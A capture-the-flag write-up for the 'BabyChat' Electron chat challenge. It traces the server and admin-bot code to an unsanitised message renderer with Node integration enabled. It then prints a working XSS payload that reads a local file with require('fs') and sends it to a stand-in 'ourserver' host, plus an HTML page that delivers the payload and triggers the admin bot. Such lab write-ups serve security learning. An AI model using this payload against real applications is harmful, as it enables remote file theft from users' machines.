[Web] BabyChat
I have found a simple chat application on github https://github.com/demian85/electron-chat-app-demo. I think if it is on github it should be safe and no one can hack it!
I added report to admin button so users that are not polite will get banned!
Run client from attachment and set server to: [REDACTED]
Note: For security purposes other users can’t see what did you write.
Addition: We recommend using VM to run the client.
For this challenge we’re given a link to a github project, a zip containing the source code of the modified app, a server url and some background info about the challenge itself.
The challenge source contains a dockerfile so let’s take a look at that first.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FROM node:slim
COPY . /usr/scr/app
RUN groupadd -g 1337 flag && \
useradd flag -m -g 1337 -u 1337
RUN apt-get update
RUN apt-get install -y libgtkextra-dev libgconf2-dev libnss3 libasound2 libxtst-dev libxss1 software-properties-common libatk-bridge2.0-0 xvfb x11-xkb-utils xfonts-100dpi xfonts-75dpi xfonts-scalable xfonts-cyrillic x11-apps libgtk-3-0
RUN sed -ie '/<blank>/d' /etc/fonts/fonts.conf
RUN sed -ie '/<\/blank>/d' /etc/fonts/fonts.conf
WORKDIR /usr/scr/app/
RUN npm install
RUN cp -r /usr/scr/app/node_modules /usr/scr/app/electron-admin
RUN chown -R root:root /usr/scr/app && \
find /usr/scr/app -type d -exec chmod 555 {} \; && \
find /usr/scr/app -type f -exec chmod 555 {} \;
RUN chown flag:flag /usr/scr/app/electron-admin/flag && \
chmod 400 /usr/scr/app/electron-admin/flag
EXPOSE 3010
USER flag
CMD ["/usr/scr/app/start.sh"]
We can see that it sets up the environment for the application and runs the start.sh script.
1
2
3
4
#!/bin/bash
Xvfb :99 -screen 0 1024x768x24 > /dev/null 2>&1 &
export DISPLAY=':99.0'
npm run server
The start script in turn runs the server which according to package.json is server.js
1
2
3
4
5
const server = require('./lib/server').server;
const port = process.env.PORT || 3010;
server.run(port);
5 files deep and we finally arrive at the proper source of the chat server in “lib/server.js”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
const express = require('express');
const { dialog } = require('electron')
const app = express();
const server = require('http').createServer(app);
const io = require('socket.io')(server);
const { spawn } = require('child_process');
const { exec } = require('child_process');
exports.server = {
run(port) {
server.listen(port, '0.0.0.0', () => {
console.log('Server listening at port %d', port);
});
},
};
const users = new Set();
var sockets = []
var messages = [];
var users_to_check = [];
var proc_pids = [];
io.on('connection', function onConnection(socket) {
let username;
socket.on('message', function onMessage(data) {
const text = data.text;
if (!messages[username])
messages[username] = []
messages[username].push(text);
socket.emit('message', { username, text });
});
socket.on('login', function onLogin(data) {
username = data.username;
if (username == "[REDACTED]"){
username = "admin";
sockets[username] = socket;
users.add(username);
io.sockets.emit('login', { username, users: Array.from(users) });
if (users_to_check){
if(messages[users_to_check[0]]){
messages[users_to_check[0]].forEach((text) => sockets['admin'].emit('message', {username, text}));
while (messages[users_to_check[0]].length) {
messages[users_to_check[0]].pop();
}
}
users_to_check.shift()
function kill() { exec('kill -- -'+proc_pids[0].pid); proc_pids.shift(); }
setTimeout(kill,500);
}
}
else if ( username != "admin" && typeof sockets[username] == "undefined"){
sockets[username] = socket
users.add(username);
io.sockets.emit('login', { username, users: Array.from(users) });
}
else{
i = 1;
user_before = username
while(typeof sockets[username] != "undefined" || username == "admin") {
username = user_before
username += i
i += 1
}
sockets[username] = socket
users.add(username);
io.sockets.emit('login', { username, users: Array.from(users) });
}
});
function clear(){
exec('killall electron')
proc_pids = []
users_to_check = []
}
setTimeout(clear,5000)
socket.on('report', function onReport(){
if (typeof messages[username] != "undefined"){
if (!users_to_check.includes(username) && messages[username].length > 0){
users_to_check.push(username);
process.env['DISPLAY'] = ':99.0'
proc_pids.push(spawn('npm', ['start', '--prefix', 'electron-admin'], {env: process.env,detached: true}));
}
}
});
socket.on('typing', function onTyping() {
io.sockets.emit('typing', { username });
});
socket.on('stop-typing', function onStopTyping() {
io.sockets.emit('stop-typing', { username });
});
socket.on('disconnect', function onDisconnect() {
users.delete(username);
delete sockets[username];
socket.broadcast.emit('logout', { username, users: Array.from(users) });
});
});
The server handles multiple message types from the connecting client:
- “login”: If the username is the admin user it then sends all the messages of reported users to them, else it stores the socket and broadcasts the login.
- “message”: The server stores the message and sends it back to the sender.
- “report”: Stores the username of the sender to the “reported” list and spawns the admin client.
- “typing” / “stop-typing”: Removes the socket and broadcasts the logout.
Let’s also take a look at the code that handles admin behaviour.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
class App extends React.Component {
constructor(props) {
super(props);
this.state = {
username: '',
url: '',
users: [],
messages: [],
status: ''
};
this.onLogin = this.onLogin.bind(this);
this.onInput = this.onInput.bind(this);
this.onSend = this.onSend.bind(this);
}
initSocket(url) {
this.setState({ status: 'Connecting...' });
const socket = io.connect(url);
socket.on('connect', () => {
this.appendMessage(`Connected to server ${ this.state.url }`);
this.setState({ status: '' });
});
socket.on('message', data => {
this.appendMessage(`__${ data.username }:__ ${ data.text }`);
});
socket.on('login', data => {
const opts = { sanitize: true };
this.appendMessage(`${ marked(data.username, opts) } has logged in.`);
this.setState({ users: data.users });
});
socket.on('typing', data => {
this.setState({ status: `${ data.username } is typing...` });
});
socket.on('stop-typing', () => {
this.setState({ status: '' });
});
socket.on('logout', data => {
const opts = { sanitize: true };
this.appendMessage(`${ marked(data.username, opts) } disconnected.`);
this.setState({ users: data.users });
});
this.socket = socket;
}
appendMessage(message) {
this.setState((prev, props) => {
const messages = prev.messages;
messages.push(message);
return { messages };
});
}
onLogin(url, username) {
this.setState({ url, username });
this.initSocket(url);
this.socket.emit('login', { username });
this.refs.inputBar.focus();
}
onInput(text) {
const username = this.state.username;
if (!typing) {
typing = true;
this.socket.emit('typing', { username });
}
if (typingTimer) {
clearTimeout(typingTimer);
typingTimer = null;
}
typingTimer = setTimeout(() => {
typing = false;
this.socket.emit('stop-typing', { username });
}, 1000);
}
onSend(text) {
const username = this.state.username;
this.socket.emit('message', { username, text });
}
componentDidMount() {
let url = "http://localhost:3010"
let username2="[REDACTED]"
this.onLogin(url,username2)
this.refs.inputBar.focus();
}
render() {
return React.createElement(
'main',
null,
//React.createElement(LoginBox, { ref: 'loginBox', url: 'http://localhost:3010', onLogin: this.onLogin }),
React.createElement(
'div',
{ className: 'content' },
React.createElement(UserList, { users: this.state.users }),
React.createElement(ChatArea, { messages: this.state.messages, status: this.state.status })
),
React.createElement(InputBar, { ref: 'inputBar', onInput: this.onInput, onSend: this.onSend })
);
}
}
We can see that the client logs in and starts listening for incoming messages/other events.
The “login”/”logout” events are sanitized with marked
before they appear on the document but that’s not the case with “message”.
By logging in, sending a malicious message and then reporting ourselves we can get XSS on the admin client.
Another important fact to note is that the client is ran with node integration enabled:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// electron-admin/index.js
function createWindow() {
mainWindow = new BrowserWindow({
width: 800,
height: 600,
show: false,
webPreferences: {
nodeIntegration: true
}
})
mainWindow.loadURL(`file://${__dirname}/index.html`);
mainWindow.on('closed', () => {
mainWindow = null;
});
}
With this preference enabled we can access node standard API’s and libraries that allow us to interact with the filesystem and read the flag.
Our JS part of the payload can look something like this:
1
2
3
4
const fs = require('fs'); // Load the filesystem library
var flag = fs.readFileSync('/usr/scr/app/electron-admin/flag'); // Read the flag, path taken from the Dockerfile
var img = new Image(); // Create an image tag to exfiltrate the data
img.src = 'https://ourserver/?q=' + btoa(flag);
We can package it into an “img” html tag with the “onerror” attribute containing our code.
1
<img src=x onerror="const fs=require('fs');var flag=fs.readFileSync('/usr/scr/app/electron-admin/flag');var img=new Image();img.src='https://ourserver/?q='+btoa(flag);"></img>
Full code that we can open in browser to log into the chat server and trigger the payload: (I’m using the socket.io library files provided with the challenge since socket.io-client did not want to work well with the server)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script type="text/javascript" src="BabyChat/lib/socket.io.js"></script>
<script>
let xssSocket = io("[challenge url]");
console.log("asdf")
xssSocket.on("connect", () => {
xssSocket.emit("login", {
username: "szymex1",
});
console.log('Logged in')
xssSocket.emit("message", {
text:
`<img src=x onerror="const fs=require('fs');var flag=fs.readFileSync('/usr/scr/app/electron-admin/flag');var img=new Image();img.src='https://ourserver/?q='+btoa(flag);"></img>`,
});
console.log('Sent payload')
xssSocket.emit("report");
console.log('Reported')
});
xssSocket.on("message", (data) => {
console.log(`XSS Message: ${JSON.stringify(data)}`);
});
</script>
</body>
</html>
After loading up the script we get a request on our webserver:
1
2
» echo 'Q1RGe0NsMTNuN181MUQzX3JjMyE/fQo=' | base64 -d
CTF{Cl13n7_51D3_rc3!?}
Flag: CTF{Cl13n7_51D3_rc3!?}